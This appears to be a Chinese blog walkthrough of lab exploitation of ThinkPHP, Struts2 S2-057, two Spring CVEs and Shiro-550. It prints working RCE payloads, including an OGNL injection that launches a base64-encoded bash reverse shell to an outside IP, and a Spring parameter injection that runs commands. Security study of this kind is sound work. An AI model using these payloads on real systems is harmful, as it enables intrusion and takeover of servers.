常见框架漏洞

发布于:2025-08-02 ⋅ 阅读:(13) ⋅ 点赞:(0)

一、ThinkPHP

启动环境并访问

紧接着我们运行远程命令,执行以下poc:?  s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami来查看是否可以执行

接下来我们反弹shell即可

二、struts2

S2-057远程执行代码漏洞

启动环境并访问

接下来我们使用poc查看是否会执行http://121.40.229.129:8081/struts2-showcase/${(123+123)}/actionChain1.action,查看中间是否执行

发现执行,我们接下来插入攻击语句即可

$%7B%0D%0A(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request%5B'struts.valueStack'%5D.context).(#cr=#ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash%20-c%20%7Becho,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Mi4yLjg2Lzg4ODggMD4mMQ==%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))%7D

反弹到我们服务器的8888端口,将反弹shell的命令经过base64编码

紧接着,我们开启监听

紧接着反弹即可

三、spring

CVE-2017-8046

首先开启环境并监听

紧接着在网址后面拼接/customers/1,紧接着抓包并修改请求方法

接下来进入容器查看是否执行成功

CVE-2018-1273

启动环境并访问

接下来在网站后面拼接/users

接下来填写登录信息,然后抓包并添加poc:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/111")]=&password=&repeatedPassword=

最后进入终端查看

反弹shell则是远程下载文件即可

四、Shiro

Shiro-550

启动环境并访问

我们直接使用工具来判断是否有漏洞

发现存在漏洞,我们在命令执行区添加一个反弹shell的文件,然后开启监听并执行命令即可


网站公告

今日签到

点亮在社区的每一天
去签到